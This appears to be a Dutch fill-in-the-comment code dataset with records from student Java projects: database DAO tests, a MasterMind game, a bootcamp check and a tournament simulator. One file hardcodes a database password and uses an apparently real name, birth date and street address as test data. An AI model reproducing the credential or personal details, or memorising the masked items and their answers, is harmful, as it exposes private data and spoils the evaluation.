//Hier word de delete() functie van adres aangeroepen.
System.out.println("Hier begint de test van de .delete functie van de adresDAO" + "\n" + "------------------------------------------------" );
System.out.println("Test delete() methode");
System.out.println("Eerst" + adressen.size());
adressenNaUpdate.forEach((value) -> System.out.println(value));
System.out.println("[test] delete() geeft -> ");
adresDAO.delete(adresAchraf); //delete adres
rdao.delete(reizigerA);
List<Adres> adressenNaDelete = new ArrayList<>(adresDAO.findAll());
adressenNaDelete.forEach((value) -> System.out.println(value));
}
private static void testOVchipkaartDAO(AdresDAO adresDAO, ReizigerDAO reizigerDAO, OVChipkaartDAO ovChipkaartDAO){
System.out.println("Hier beginnen de test's van de OVchipkaart klasse" + "\n" + "------------------------------------------------" );
// Haal alle kaarten op uit de database
System.out.println("Hier begint de test van de OVchipkaart.findall() functie van de OVchipkaartDAO" + "\n" + "------------------------------------------------" );
List<OVChipkaart> ovChipkaarts = ovChipkaartDAO.findAll();
System.out.println("[Test] OVchipkaartDAO.findAll() geeft de volgende ov's:");
for (OVChipkaart ov : ovChipkaarts) {
System.out.println(ov);
}
//Hier wordt er een nieuw OVchipkaart object aangemaakt en gepersisteerd in de datbase.
OVChipkaart ovChipkaart = new OVChipkaart();
ovChipkaart.setKaartNummer(12345);
ovChipkaart.setGeldigTot("2022-10-24");
ovChipkaart.setKlasse(1);
ovChipkaart.setSaldo(350.00);
ovChipkaart.setReizigerId(5);
// Hier wordt een bepaalde Chipkaart verwijderd uit de database.
System.out.println("Hier begint de test van OVChipkaart.delete()" + "\n" + "------------------------------------------------" );
try {
ovChipkaartDAO.delete(ovChipkaart);
System.out.println("De kaart is met succes verwijderd uit de database.");
}
catch (Exception e){
System.out.println("Het is niet gelukt om de kaart te verwijderen.");
e.printStackTrace();
}
ovChipkaarts = ovChipkaartDAO.findAll();
System.out.println("De database bevatte voor het opslaan " + ovChipkaarts.size() + "kaarten" + "\n");
for (OVChipkaart ov : ovChipkaarts) {
System.out.println(ov);
}
try {
ovChipkaartDAO.save(ovChipkaart);
System.out.println("De nieuwe chipkaart is opgeslagen.");
}
catch (Exception e){
System.out.println("Het is niet gelukt om het nieuwe opbject op te slaan in de database.");
e.printStackTrace();
}
ovChipkaarts = ovChipkaartDAO.findAll();
System.out.println("En de databse bevat na het opslaan " + ovChipkaarts.size());
// Hier wordt de update functie de OVchipkaartDAO aangeroepen en getest.
try {
ovChipkaart.setSaldo(20.00);
ovChipkaartDAO.update(ovChipkaart);
//Hier halen we de lijst opnieuw op om er zo voor te zorgen dat de lijst klopt en dus hier uitggeprint kan worden
ovChipkaarts = ovChipkaartDAO.findAll();
System.out.println("De kaart is met succes geupdate, het saldo is gewzijzigd");
for (OVChipkaart ov : ovChipkaarts){
System.out.println(ov);
}
}
catch (Exception e ){
System.out.println("Het is niet gelukt om de kaart te udpaten.");
e.printStackTrace();
}
System.out.println("Hier begint de test van OVChipkaart.findByReiziger" + "\n" + "------------------------------------------------" );
Reiziger reiziger = reizigerDAO.findById(5);
//Hier wordt de functie getest van OvchipkaartDAO.findByReiziger() getest
System.out.println(ovChipkaartDAO.findByReiziger(reiziger));
System.out.println("DONE");
}
public static void testProductDAO(ProductDAO productDAO, OVChipkaartDAO ovChipkaartDAO) throws SQLException{
//Hall alle producten op uit de database
System.out.println("Hier begint de test van de .save() functie van de productDAO\n" + "------------------------------------------------" );
List<Product> producten = productDAO.findAll();
System.out.println("[Test] productDAO.findAll() geeft de volgende Adressen voor de .save():");
for (Product product: producten) {
System.out.println(product);
System.out.println("Aantal producten in de database voor de save: " + producten.size());
}
//Hier wordt een nieuw product aangemaakt en opgeslagen in de database.
Product testProduct = new Product(12345, "SeniorenProduct", "Mobiliteit voor ouderen", 25.00);
System.out.println("Producten in de database na de .save()");
try {
productDAO.save(testProduct);
List<Product> productenNaSave = productDAO.findAll();
for (Product product: productenNaSave){
System.out.println(product);
}
System.out.println("Aantal" + productenNaSave.size());
}
catch (Exception e){
e.printStackTrace();
}
//Hier wordt het product geupdate en gepersisteerd in de database.
try {
testProduct.setPrijs(9999.00);
productDAO.update(testProduct);
System.out.println(" " +testProduct.getProduct_nummer());
System.out.println("Producten in de databse na de .update()");
List<Product> productenNaUpdate = productDAO.findAll();
for (Product product: productenNaUpdate){
System.out.println(product);
}
}
catch (Exception e){
e.printStackTrace();
}
System.out.println("Hier word de delete functie getest");
try {
//Hier wordt het product verwijderd.
System.out.println("De producten in de database na het verwijderen");
productDAO.delete(testProduct);
List<Product> productenNaDelete = productDAO.findAll();
for (Product product :productenNaDelete ){
System.out.println(product);
}
System.out.println("Aantal producten na delete:" + productenNaDelete.size());
}
catch (Exception e){
e.printStackTrace();
}
}
} | Aitsimhand/DP_OV-Chipkaart | src/Main.java | 3,767 | //Hier wordt de functie getest van OvchipkaartDAO.findByReiziger() getest | line_comment | nl | import org.postgresql.shaded.com.ongres.scram.common.ScramAttributes;
import org.w3c.dom.ls.LSOutput;
import java.sql.*;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws SQLException{
String url = "jdbc:postgresql://localhost/ovchip?user=postgres&password=rJFQu34u";
Connection conn;
conn = DriverManager.getConnection(url);
ReizigerDAO reizigerDAOPsql = new ReizigerDAOPsql(conn);
AdresDAO adresDAOPsql = new AdresDAOPsql(conn);
OVChipkaartDAO ovChipkaartDAOsql = new OVChipkaartDAOPsql(conn);
ProductDAO productDAOsql = new ProductDAOPsql(conn);
testReizigerDAO(reizigerDAOPsql);
testAdresDAO(adresDAOPsql, reizigerDAOPsql);
testOVchipkaartDAO(adresDAOPsql, reizigerDAOPsql, ovChipkaartDAOsql);
testProductDAO(productDAOsql, ovChipkaartDAOsql);
}
private static void testReizigerDAO( ReizigerDAO rdao) throws SQLException {
System.out.println("\n---------- Test ReizigerDAO -------------");
// Haal alle reizigers op uit de database
List<Reiziger> reizigers = rdao.findAll();
System.out.println("[Test] ReizigerDAO.findAll() geeft de volgende reizigers:");
for (Reiziger r : reizigers) {
System.out.println(r);
}
// Maak een nieuwe reiziger aan en persisteer deze in de database
String gbdatum = "1981-03-14";
Reiziger sietske = new Reiziger(77, "S", "", "Boers", gbdatum);
System.out.print("[Test] Eerst " + reizigers.size() + " reizigers, na ReizigerDAO.save() ");
rdao.save(sietske);
reizigers = rdao.findAll();
System.out.println(reizigers.size() + " reizigers\n");
// Voeg aanvullende tests van de ontbrekende CRUD-operaties in.
//Hier word een reiziger geruturned op basis van de aangegeven ID.
System.out.println("De {TEST} van de functie findById met ID 77" + "\n" + "---------------------------------------");
System.out.println(rdao.findById(77));
System.out.println("De {TEST} van de functie findByGbdatum()" + "\n" + "---------------------------------------");
for (Reiziger r: rdao.findByGbdatum("1981-03-14")
) {
System.out.println(r);
}
// De gegevens van een bestaande reiziger worden aangepast in een database.
String geboorteDatum = "1950-04-12";
sietske.setGeboortedatum(geboorteDatum);
rdao.update(sietske);
System.out.println("Reiziger Sietske is geupdate in de database.");
// De verwijder een specifieke reiziger uit de database.
System.out.println("De {TEST} van de functie delte() rsultaten" + "\n" + "------------------------------------");
try {
rdao.delete(sietske);
System.out.println("Reiziger is met succes verwijderd");
}
catch (Exception e){
System.out.println("Het is niet gelukt om de reiziger te verwijderen.");
e.printStackTrace();
}
}
private static void testAdresDAO(AdresDAO adresDAO, ReizigerDAO rdao) throws SQLException{
System.out.println("Hier beginnen de test's van de Adres klasse" + "\n" + "------------------------------------------------" );
// Haal alle reizigers op uit de database
System.out.println("Hier begint de test van de .save() functie van de adresDAO" + "\n" + "------------------------------------------------" );
List<Adres> adressen = adresDAO.findAll();
System.out.println("[Test] adresDAO.findAll() geeft de volgende Adressen:");
for (Adres a : adressen) {
System.out.println(a);
}
// Hier wordt een nieuw adres aangemaakt en deze word opgeslagen in de database.
System.out.println("Hier begint de test van de .save() functie van de adresDAO" + "\n" + "------------------------------------------------" );
String gbDatum = "1997-10-24";
Reiziger reizigerA = new Reiziger(6, "A","", "Ait Si'Mhand", gbDatum );
rdao.save(reizigerA);
Adres adresAchraf = new Adres(6, "2964BL", "26", "Irenestraat", "Groot-Ammers");
reizigerA.setAdres(adresAchraf);
System.out.print("[Test] Eerst " + adressen.size() + " adressen, na AdresDAO.save()");
adresDAO.save(adresAchraf);
List<Adres> adressenNaUpdate = adresDAO.findAll();
System.out.println(adressenNaUpdate.size() + " reizigers\n");
//Hier wordt de update() functie van Adres aangeroepen en getest.
System.out.println("Hier begint de test van de update functie van de adres klasse" + "\n" + "------------------------------------------------" );
adresAchraf.setHuisnummer("30");
try{
adresDAO.update(adresAchraf);
System.out.println("Het adres is geupdate.");
}
catch (Exception e){
System.out.println("Het is niet gelukt om het adres te updaten in de database");
e.printStackTrace();
}
//Hier wordt de functie .findbyreiziger() getest.
System.out.println("Hier begint de test van de .findByReiziger() functie van de adresDAO" + "\n" + "------------------------------------------------" );
try {
adresDAO.findByReiziger(reizigerA);
System.out.println("Adres is opgehaald.");
}
catch (Exception e){
System.out.println("Het is niet gelukt om de het adres te vinden bij de reiziger.");
e.printStackTrace();
}
//Hier word de delete() functie van adres aangeroepen.
System.out.println("Hier begint de test van de .delete functie van de adresDAO" + "\n" + "------------------------------------------------" );
System.out.println("Test delete() methode");
System.out.println("Eerst" + adressen.size());
adressenNaUpdate.forEach((value) -> System.out.println(value));
System.out.println("[test] delete() geeft -> ");
adresDAO.delete(adresAchraf); //delete adres
rdao.delete(reizigerA);
List<Adres> adressenNaDelete = new ArrayList<>(adresDAO.findAll());
adressenNaDelete.forEach((value) -> System.out.println(value));
}
private static void testOVchipkaartDAO(AdresDAO adresDAO, ReizigerDAO reizigerDAO, OVChipkaartDAO ovChipkaartDAO){
System.out.println("Hier beginnen de test's van de OVchipkaart klasse" + "\n" + "------------------------------------------------" );
// Haal alle kaarten op uit de database
System.out.println("Hier begint de test van de OVchipkaart.findall() functie van de OVchipkaartDAO" + "\n" + "------------------------------------------------" );
List<OVChipkaart> ovChipkaarts = ovChipkaartDAO.findAll();
System.out.println("[Test] OVchipkaartDAO.findAll() geeft de volgende ov's:");
for (OVChipkaart ov : ovChipkaarts) {
System.out.println(ov);
}
//Hier wordt er een nieuw OVchipkaart object aangemaakt en gepersisteerd in de datbase.
OVChipkaart ovChipkaart = new OVChipkaart();
ovChipkaart.setKaartNummer(12345);
ovChipkaart.setGeldigTot("2022-10-24");
ovChipkaart.setKlasse(1);
ovChipkaart.setSaldo(350.00);
ovChipkaart.setReizigerId(5);
// Hier wordt een bepaalde Chipkaart verwijderd uit de database.
System.out.println("Hier begint de test van OVChipkaart.delete()" + "\n" + "------------------------------------------------" );
try {
ovChipkaartDAO.delete(ovChipkaart);
System.out.println("De kaart is met succes verwijderd uit de database.");
}
catch (Exception e){
System.out.println("Het is niet gelukt om de kaart te verwijderen.");
e.printStackTrace();
}
ovChipkaarts = ovChipkaartDAO.findAll();
System.out.println("De database bevatte voor het opslaan " + ovChipkaarts.size() + "kaarten" + "\n");
for (OVChipkaart ov : ovChipkaarts) {
System.out.println(ov);
}
try {
ovChipkaartDAO.save(ovChipkaart);
System.out.println("De nieuwe chipkaart is opgeslagen.");
}
catch (Exception e){
System.out.println("Het is niet gelukt om het nieuwe opbject op te slaan in de database.");
e.printStackTrace();
}
ovChipkaarts = ovChipkaartDAO.findAll();
System.out.println("En de databse bevat na het opslaan " + ovChipkaarts.size());
// Hier wordt de update functie de OVchipkaartDAO aangeroepen en getest.
try {
ovChipkaart.setSaldo(20.00);
ovChipkaartDAO.update(ovChipkaart);
//Hier halen we de lijst opnieuw op om er zo voor te zorgen dat de lijst klopt en dus hier uitggeprint kan worden
ovChipkaarts = ovChipkaartDAO.findAll();
System.out.println("De kaart is met succes geupdate, het saldo is gewzijzigd");
for (OVChipkaart ov : ovChipkaarts){
System.out.println(ov);
}
}
catch (Exception e ){
System.out.println("Het is niet gelukt om de kaart te udpaten.");
e.printStackTrace();
}
System.out.println("Hier begint de test van OVChipkaart.findByReiziger" + "\n" + "------------------------------------------------" );
Reiziger reiziger = reizigerDAO.findById(5);
//Hier wordt<SUF>
System.out.println(ovChipkaartDAO.findByReiziger(reiziger));
System.out.println("DONE");
}
public static void testProductDAO(ProductDAO productDAO, OVChipkaartDAO ovChipkaartDAO) throws SQLException{
//Hall alle producten op uit de database
System.out.println("Hier begint de test van de .save() functie van de productDAO\n" + "------------------------------------------------" );
List<Product> producten = productDAO.findAll();
System.out.println("[Test] productDAO.findAll() geeft de volgende Adressen voor de .save():");
for (Product product: producten) {
System.out.println(product);
System.out.println("Aantal producten in de database voor de save: " + producten.size());
}
//Hier wordt een nieuw product aangemaakt en opgeslagen in de database.
Product testProduct = new Product(12345, "SeniorenProduct", "Mobiliteit voor ouderen", 25.00);
System.out.println("Producten in de database na de .save()");
try {
productDAO.save(testProduct);
List<Product> productenNaSave = productDAO.findAll();
for (Product product: productenNaSave){
System.out.println(product);
}
System.out.println("Aantal" + productenNaSave.size());
}
catch (Exception e){
e.printStackTrace();
}
//Hier wordt het product geupdate en gepersisteerd in de database.
try {
testProduct.setPrijs(9999.00);
productDAO.update(testProduct);
System.out.println(" " +testProduct.getProduct_nummer());
System.out.println("Producten in de databse na de .update()");
List<Product> productenNaUpdate = productDAO.findAll();
for (Product product: productenNaUpdate){
System.out.println(product);
}
}
catch (Exception e){
e.printStackTrace();
}
System.out.println("Hier word de delete functie getest");
try {
//Hier wordt het product verwijderd.
System.out.println("De producten in de database na het verwijderen");
productDAO.delete(testProduct);
List<Product> productenNaDelete = productDAO.findAll();
for (Product product :productenNaDelete ){
System.out.println(product);
}
System.out.println("Aantal producten na delete:" + productenNaDelete.size());
}
catch (Exception e){
e.printStackTrace();
}
}
} |
23980_10 | package mastermind;
import java.util.Random;
import java.util.Scanner;
import java.util.concurrent.TimeUnit;
public class MasterMind
{
public static final String BLACK_BOLD_BRIGHT = "\033[1;90m";
public static final String WHITE_BOLD_BRIGHT = "\033[1;97m";
public static final String BLUE_BOLD_BRIGHT = "\033[1;94m";
public static final String RED_BOLD_BRIGHT = "\033[1;91m";
public static final String GREEN_BOLD_BRIGHT = "\033[1;92m";
public static final String BLACK_BOLD = "\033[1;30m";
public static final String WHITE_BOLD = "\033[1;37m";
public static final String ANSI_CYAN = "\u001B[36m";
public static final String ANSI_RESET = "\u001B[0m";
public static final String ANSI_YELLOW = "\u001B[33m";
// hierboven zie je de kleurcodes die je kunt toepassen bij tekst om het een
// kleur te geven.
public static void main(String[] args) throws InterruptedException
{
Scanner invoer = new Scanner(System.in);
System.out.println(BLUE_BOLD_BRIGHT + "Hier komt wat uitleg");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println(BLACK_BOLD + "\nZwart" + BLUE_BOLD_BRIGHT + " = goede plek");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println(WHITE_BOLD + "Wit" + BLUE_BOLD_BRIGHT + " = erin, verkeerde plek");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println("Niks = nummer er niet in");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println("Geef een getal van 1 tot 6");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println("Je krijgt 10 beurten");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println(GREEN_BOLD_BRIGHT + "Veel plezier en succes met raden!" + ANSI_RESET);
TimeUnit.MILLISECONDS.sleep(600);
// hierboven geef ik wat uitleg over het spel met 600 miliseconden ertussen
// voordat de volgende regel afgedrukt wordt.
int gok1, gok2, gok3, gok4, zwart = 0, wit = 0, beurt = 0;
boolean winnaar = false;
Random rand = new Random();
int code1 = rand.nextInt(6) + 1;
int code2 = rand.nextInt(6) + 1;
int code3 = rand.nextInt(6) + 1;
int code4 = rand.nextInt(6) + 1;
System.out.println("" + code1 + code2 + code3 + code4);
// hierboven heb ik gezorgd dat de integers code 1 tot 4 een random getal tot de
// 6 hebben en beginnen bij 1.
while (beurt < 10 && !winnaar)
{
System.out.println(BLACK_BOLD_BRIGHT + "\n\nGeef je eerste gok" + ANSI_CYAN);
gok1 = invoer.nextInt();
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Geef je tweede gok" + ANSI_CYAN);
gok2 = invoer.nextInt();
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Geef je derde gok" + ANSI_CYAN);
gok3 = invoer.nextInt();
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Geef je vierde gok" + ANSI_CYAN);
gok4 = invoer.nextInt();
beurt++;
// hierboven geef ik aan dat je 4 gokken (cijfers van 1 tot 6) in moet voeren en
// elke keer dat je dat doet wordt er 1 opgetelt bij je beurten.
if (gok1 == code1)
{
zwart++;
}
else if (gok1 == code2 || gok1 == code3 || gok1 == code4)
{
wit++;
}
if (gok2 == code2)
{
zwart++;
}
else if (gok2 == code1 || gok2 == code3 || gok2 == code4)
{
wit++;
}
if (gok3 == code3)
{
zwart++;
}
else if (gok3 == code1 || gok3 == code2 || gok3 == code4)
{
wit++;
}
if (gok4 == code4)
{
zwart++;
}
else if (gok4 == code1 || gok4 == code2 || gok4 == code3)
{
wit++;
}
if (zwart == 4)
{
System.out.println(ANSI_YELLOW + "Je hebt gewonnen!!" + ANSI_RESET);
winnaar = true;
// hier wordt gecheckt of je 4 keer een zwarte, dus een goede heb gehaald en als
// dat zo is dan wordt er uitgeprint dat je gewonnen hebt.
}
if (gok1 == code1 || gok2 == code2 || gok3 == code3 || gok4 == code4)
{
wit = 0;
}
if (zwart < 4)
{
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Aantal " + BLACK_BOLD + "zwarten: " + WHITE_BOLD_BRIGHT + zwart);
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Aantal " + WHITE_BOLD + "witte: " + WHITE_BOLD_BRIGHT + wit);
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Je zit op je " + WHITE_BOLD_BRIGHT + beurt + "e" + ANSI_RESET + " beurt");
wit = 0;
zwart = 0;
}
// hier geeft hij na elke beurt aan hoeveel zwarten en hoeveel witte je goed
// hebt geraden.
if (beurt == 10)
{
System.out.println(RED_BOLD_BRIGHT + "\nHelaas je beurten zijn op");
// hier wordt gecheckt of je 10 beurten heb gebruikt en als dat zo is dan geeft
// hij aan dat je beurten op zijn en dan kun je niet meer verder spelen.
}
}
}
} | AlecPeters2312/Portfolio-Website-2 | downloads/MasterMind.java | 1,881 | // hier geeft hij na elke beurt aan hoeveel zwarten en hoeveel witte je goed | line_comment | nl | package mastermind;
import java.util.Random;
import java.util.Scanner;
import java.util.concurrent.TimeUnit;
public class MasterMind
{
public static final String BLACK_BOLD_BRIGHT = "\033[1;90m";
public static final String WHITE_BOLD_BRIGHT = "\033[1;97m";
public static final String BLUE_BOLD_BRIGHT = "\033[1;94m";
public static final String RED_BOLD_BRIGHT = "\033[1;91m";
public static final String GREEN_BOLD_BRIGHT = "\033[1;92m";
public static final String BLACK_BOLD = "\033[1;30m";
public static final String WHITE_BOLD = "\033[1;37m";
public static final String ANSI_CYAN = "\u001B[36m";
public static final String ANSI_RESET = "\u001B[0m";
public static final String ANSI_YELLOW = "\u001B[33m";
// hierboven zie je de kleurcodes die je kunt toepassen bij tekst om het een
// kleur te geven.
public static void main(String[] args) throws InterruptedException
{
Scanner invoer = new Scanner(System.in);
System.out.println(BLUE_BOLD_BRIGHT + "Hier komt wat uitleg");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println(BLACK_BOLD + "\nZwart" + BLUE_BOLD_BRIGHT + " = goede plek");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println(WHITE_BOLD + "Wit" + BLUE_BOLD_BRIGHT + " = erin, verkeerde plek");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println("Niks = nummer er niet in");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println("Geef een getal van 1 tot 6");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println("Je krijgt 10 beurten");
TimeUnit.MILLISECONDS.sleep(600);
System.out.println(GREEN_BOLD_BRIGHT + "Veel plezier en succes met raden!" + ANSI_RESET);
TimeUnit.MILLISECONDS.sleep(600);
// hierboven geef ik wat uitleg over het spel met 600 miliseconden ertussen
// voordat de volgende regel afgedrukt wordt.
int gok1, gok2, gok3, gok4, zwart = 0, wit = 0, beurt = 0;
boolean winnaar = false;
Random rand = new Random();
int code1 = rand.nextInt(6) + 1;
int code2 = rand.nextInt(6) + 1;
int code3 = rand.nextInt(6) + 1;
int code4 = rand.nextInt(6) + 1;
System.out.println("" + code1 + code2 + code3 + code4);
// hierboven heb ik gezorgd dat de integers code 1 tot 4 een random getal tot de
// 6 hebben en beginnen bij 1.
while (beurt < 10 && !winnaar)
{
System.out.println(BLACK_BOLD_BRIGHT + "\n\nGeef je eerste gok" + ANSI_CYAN);
gok1 = invoer.nextInt();
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Geef je tweede gok" + ANSI_CYAN);
gok2 = invoer.nextInt();
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Geef je derde gok" + ANSI_CYAN);
gok3 = invoer.nextInt();
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Geef je vierde gok" + ANSI_CYAN);
gok4 = invoer.nextInt();
beurt++;
// hierboven geef ik aan dat je 4 gokken (cijfers van 1 tot 6) in moet voeren en
// elke keer dat je dat doet wordt er 1 opgetelt bij je beurten.
if (gok1 == code1)
{
zwart++;
}
else if (gok1 == code2 || gok1 == code3 || gok1 == code4)
{
wit++;
}
if (gok2 == code2)
{
zwart++;
}
else if (gok2 == code1 || gok2 == code3 || gok2 == code4)
{
wit++;
}
if (gok3 == code3)
{
zwart++;
}
else if (gok3 == code1 || gok3 == code2 || gok3 == code4)
{
wit++;
}
if (gok4 == code4)
{
zwart++;
}
else if (gok4 == code1 || gok4 == code2 || gok4 == code3)
{
wit++;
}
if (zwart == 4)
{
System.out.println(ANSI_YELLOW + "Je hebt gewonnen!!" + ANSI_RESET);
winnaar = true;
// hier wordt gecheckt of je 4 keer een zwarte, dus een goede heb gehaald en als
// dat zo is dan wordt er uitgeprint dat je gewonnen hebt.
}
if (gok1 == code1 || gok2 == code2 || gok3 == code3 || gok4 == code4)
{
wit = 0;
}
if (zwart < 4)
{
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Aantal " + BLACK_BOLD + "zwarten: " + WHITE_BOLD_BRIGHT + zwart);
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Aantal " + WHITE_BOLD + "witte: " + WHITE_BOLD_BRIGHT + wit);
System.out.println(ANSI_RESET + BLACK_BOLD_BRIGHT + "Je zit op je " + WHITE_BOLD_BRIGHT + beurt + "e" + ANSI_RESET + " beurt");
wit = 0;
zwart = 0;
}
// hier geeft<SUF>
// hebt geraden.
if (beurt == 10)
{
System.out.println(RED_BOLD_BRIGHT + "\nHelaas je beurten zijn op");
// hier wordt gecheckt of je 10 beurten heb gebruikt en als dat zo is dan geeft
// hij aan dat je beurten op zijn en dan kun je niet meer verder spelen.
}
}
}
} |
95742_0 | public class Bootcamp {
public static void main(String[] args) {
Deelnemer u1 = new Deelnemer();
u1.persoonlijkheid=true;
u1.ta=5.2;
u1.leeftijd=12;
u1.naam="Bob";
Deelnemer u2 = new Deelnemer();
u2.persoonlijkheid=false;
u2.ta=8.3;
u2.leeftijd=26;
u2.naam="Fritz";
Deelnemer u3 = new Deelnemer();
u3.persoonlijkheid=true;
u3.ta=4.2;
u3.leeftijd=40;
u3.naam="Rita";
controle(u1);
controle(u2);
controle(u3);
}
static void controle(Deelnemer trainee){
if(trainee.persoonlijkheid==true && trainee.ta >= 4.5 && trainee.leeftijd <35){
System.out.println(trainee.naam + " mag door");
} else {
System.out.println(trainee.naam + " mag niet door");
}
}
}
class Deelnemer{
boolean persoonlijkheid;
double ta;
int leeftijd; //moet onder de 35 zijn
String naam;
}
| Aleph-Phi/Bootcamp | Bootcamp.java | 357 | //moet onder de 35 zijn | line_comment | nl | public class Bootcamp {
public static void main(String[] args) {
Deelnemer u1 = new Deelnemer();
u1.persoonlijkheid=true;
u1.ta=5.2;
u1.leeftijd=12;
u1.naam="Bob";
Deelnemer u2 = new Deelnemer();
u2.persoonlijkheid=false;
u2.ta=8.3;
u2.leeftijd=26;
u2.naam="Fritz";
Deelnemer u3 = new Deelnemer();
u3.persoonlijkheid=true;
u3.ta=4.2;
u3.leeftijd=40;
u3.naam="Rita";
controle(u1);
controle(u2);
controle(u3);
}
static void controle(Deelnemer trainee){
if(trainee.persoonlijkheid==true && trainee.ta >= 4.5 && trainee.leeftijd <35){
System.out.println(trainee.naam + " mag door");
} else {
System.out.println(trainee.naam + " mag niet door");
}
}
}
class Deelnemer{
boolean persoonlijkheid;
double ta;
int leeftijd; //moet onder<SUF>
String naam;
}
|
10949_2 | import java.sql.SQLOutput;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Random;
import java.util.Scanner;
public class demo {
public static void main(String[] args) {
/*
* System.out.
* println("Leuk dat je een tournooi organiseert. \n Hoe heet je tournooi?");
* Scanner scanner = new Scanner(System.in); String naamTournooi =
* scanner.nextLine(); Tournooi karateTournooi = new Tournooi();
* karateTournooi.setNaam(naamTournooi); karateTournooi.welkom();
*/
/*
System.out.println("Wil u al mensen aanmelden? \n 1 ja 2 nee");
int antwoordNogEen = scanner.nextInt();
if (antwoordNogEen == 1) {
System.out.println("je hebt 1 gedrukt");
karateTournooi.voegDeelnemersToe();
} else {
System.out.println("wordt een kort tournooi");
}
*/
Tournooi karateTournooi = testToernooi.testData();
karateTournooi.toernooiUitvoeren();
/*System.out.println(karateTournooi.deelnemers.size());
int aantalWedstrijden = karateTournooi.deelnemers.size()/2;
for (int n= 0;n<aantalWedstrijden;n++){
karateTournooi.speelWedstrijd();
}*/
/*karateTournooi.speelWedstrijd();
karateTournooi.speelWedstrijd();
System.out.println("Wat een spanning dames en heren. De finale gaat tussen " + karateTournooi.deelnemers.get(0)
+ " en " + karateTournooi.deelnemers.get(1));
karateTournooi.speelWedstrijd();*/
}
}
class Tournooi {
String naam;
ArrayList<Deelnemer> deelnemers = new ArrayList<>();
Scanner scanner = new Scanner(System.in);
Random random = new Random();
void welkom() {
System.out.println("Welkom bij " + naam);
}
void setNaam(String naam) {
this.naam = naam;
}
void voegDeelnemersToe() {
System.out.print("Wat is uw naam");
String deNaam = scanner.next();
Deelnemer deelnemer = new Deelnemer(deNaam);
deelnemers.add(deelnemer);
System.out.println("Wilt u nog iemand aanmelden?\n 1 ja 2 nee");
int antwoordNogEen = scanner.nextInt();
if (antwoordNogEen == 1) {
voegDeelnemersToe();
} else {
shuffleDeelnemers();
}
}
Deelnemer speelWedstrijd() {
System.out.println("Lets get ready to rumble");
System.out.println();
System.out.println(deelnemers.get(0).naam + " speelt tegen " + deelnemers.get(1).naam);
System.out.println();
Deelnemer winnaar = deelnemers.get(random.nextInt(2));
System.out.println("De winnaar is: " + winnaar.naam);
System.out.println("-------------------------");
deelnemers.remove(0);
deelnemers.remove(0);
deelnemers.add(deelnemers.size(), winnaar);
return winnaar;
}
void toernooiUitvoeren(){
while (this.deelnemers.size() >=2) {
int aantalWedstrijden = this.deelnemers.size() / 2;
for (int n = 0; n < aantalWedstrijden; n++) {
if(this.deelnemers.size() ==2) {
System.out.println("Welkom bij de finale");
System.out.println();
this.speelWedstrijd();
} else {
this.speelWedstrijd();
}
}
}
}
void shuffleDeelnemers() {
Collections.shuffle(deelnemers);
for (int x=0; x < this.deelnemers.size(); x+=2)
System.out.println(deelnemers.get(x).naam + " speelt tegen " + deelnemers.get(x+1).naam);
System.out.println();
}
}
class Deelnemer {
String naam;
Deelnemer(String deNaam) {
naam = deNaam;
}
@Override
public String toString() {
return naam;
}
}
class testToernooi {
static Tournooi testData() {
Deelnemer deelnemer1 = new Deelnemer("fred");
Deelnemer deelnemer2 = new Deelnemer("jan");
Deelnemer deelnemer3 = new Deelnemer("piet");
Deelnemer deelnemer4 = new Deelnemer("kees");
Deelnemer deelnemer5 = new Deelnemer("teun");
Deelnemer deelnemer6 = new Deelnemer("klaas");
Deelnemer deelnemer7 = new Deelnemer("bert");
Deelnemer deelnemer8 = new Deelnemer("ernie");
Tournooi toernooi1 = new Tournooi();
toernooi1.setNaam("demoTournooi");
toernooi1.deelnemers.add(deelnemer1);
toernooi1.deelnemers.add(deelnemer2);
toernooi1.deelnemers.add(deelnemer3);
toernooi1.deelnemers.add(deelnemer4);
toernooi1.deelnemers.add(deelnemer5);
toernooi1.deelnemers.add(deelnemer6);
toernooi1.deelnemers.add(deelnemer7);
toernooi1.deelnemers.add(deelnemer8);
toernooi1.shuffleDeelnemers();
return toernooi1;
}
} | Aleph-Phi/karateToernooiWSA | demo.java | 1,719 | /*System.out.println(karateTournooi.deelnemers.size());
int aantalWedstrijden = karateTournooi.deelnemers.size()/2;
for (int n= 0;n<aantalWedstrijden;n++){
karateTournooi.speelWedstrijd();
}*/ | block_comment | nl | import java.sql.SQLOutput;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Random;
import java.util.Scanner;
public class demo {
public static void main(String[] args) {
/*
* System.out.
* println("Leuk dat je een tournooi organiseert. \n Hoe heet je tournooi?");
* Scanner scanner = new Scanner(System.in); String naamTournooi =
* scanner.nextLine(); Tournooi karateTournooi = new Tournooi();
* karateTournooi.setNaam(naamTournooi); karateTournooi.welkom();
*/
/*
System.out.println("Wil u al mensen aanmelden? \n 1 ja 2 nee");
int antwoordNogEen = scanner.nextInt();
if (antwoordNogEen == 1) {
System.out.println("je hebt 1 gedrukt");
karateTournooi.voegDeelnemersToe();
} else {
System.out.println("wordt een kort tournooi");
}
*/
Tournooi karateTournooi = testToernooi.testData();
karateTournooi.toernooiUitvoeren();
/*System.out.println(karateTournooi.deelnemers.size());
